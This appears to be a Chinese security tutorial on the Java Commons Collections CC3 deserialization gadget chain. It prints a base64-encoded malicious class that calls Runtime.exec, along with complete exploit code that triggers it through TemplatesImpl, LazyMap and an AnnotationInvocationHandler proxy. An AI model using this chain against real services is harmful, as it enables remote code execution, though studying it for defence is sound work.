本文笔者带领大家学习CC3这条链，还是老样子，分开来学。首先来学习TemplatesImpl加载字节码，这是CC 链中的一部分·。
接上篇文章 CC1链：https://mp.weixin.qq.com/s/lZO_IWyytMwoNNXoZKN6nw
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance()TemplatesImpl#defineTransletClasses()TransletClassLoader#defineClass()
接下来TemplatesImpl代码如下，短短6行代码，当你执行就可以执行命令。(base64加密的数据是一个恶意类，用来弹出calc的)
byte[] bytes =Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");2TemplatesImpl templates = new TemplatesImpl();3setField(templates,"_bytecodes",new byte[][]{bytes});4setField(templates,"_name","123");5setField(templates,"_tfactory",new TransformerFactoryImpl());6templates.newTransformer();
现在根据调用链分析即可，跟进TemplatesImpl#newTransformer()，发现其调用了getTransletInstance()。
跟进getTransletInstance()，发现了对_null进行判断是否为空所以才会有了前面通过反射修改name的值，才能绕过该if
setField(templates,"_name","123");
之后跟进defineTransletClasses()
defineTransletClasses()方法如下(注意这里最开始有一个if(_bytecodes==0) 所以需要绕过)，成功会调用到TransletClassLoader#defineClass()方法
而TransletClassLoader#defineClass()在传入字节码之后，会返回class对象为_class[i]
之后在下方判断，读取的字节码是否继承了AbstractTranslet(父类)，如果继承了，并最终会给_transletIndex赋为0
最终通过_class[0].newInstance()调用
重头戏来了，CC3代码如下：
public class CCthree {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {3byte[] bytes =Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj,"_bytecodes",new byte[][]{bytes});setFieldValue(obj,"_name","123");setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})});HashMap hashMap = new HashMap();Map lazymap = LazyMap.decorate(hashMap,chain);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler =(InvocationHandler)constructor.newInstance(Override.class,lazymap);Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);Object newObj = constructor.newInstance(Override.class,proxyMap);//序列化与反序列化ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));objectOutputStream.writeObject(newObj);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.bin"));objectInputStream.readObject();objectInputStream.close();public static void setFieldValue(Object obj,String name,Object value) throwsNoSuchFieldException, IllegalAccessException {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj,value);}}
短短30多行代码诠释完毕。(可能有人心里会觉得 这都什么玩意儿？)
小伙伴们如果在看完上一篇CC1链这篇文章的话，肯定就会发现很多熟悉的代码。
在初始化的时候，用到了InstantiateTransformer这个类。跟进分析，可以发现transform是用来执行命令的
lazyMap初始化赋值如下：
其get方法用来调用到ChainedTransformer的transform方法
接下来又是AnnotationInvocationHandler这个类了
在AnnotationInvocationHandler.invoke()方法会调用memberValues.get方法，而memberValues变量就是在第四行传入的lazymap
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler =(InvocationHandler)constructor.newInstance(Override.class,lazymap);Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);Object newObj = constructor.newInstance(Override.class,proxyMap);
我们如果将AnnotationInvocationHandler对象用Proxy进行代理，那么在readObject的时候，只要调用任意方法，就会进入到AnnotationInvocationHandler#invoke方法中，进而触发我们的LazyMap#get。所以有了上方为什么用到了代理。其次代理不能够被序列化，所以最后需要用AnnotationInvocationHandler 包裹一层。与CC1一样。
最后成功弹出计算器
最后提醒一下各位，setFieldValue是本人自己定义的方法，用反射修改来修改私有属性用的。
public static void setFieldValue(Object obj,String name,Object value) throwsNoSuchFieldException, IllegalAccessException {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj,value);}
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原文始发于微信公众号（moonsec）：java安全 TemplatesImpl与CC3链
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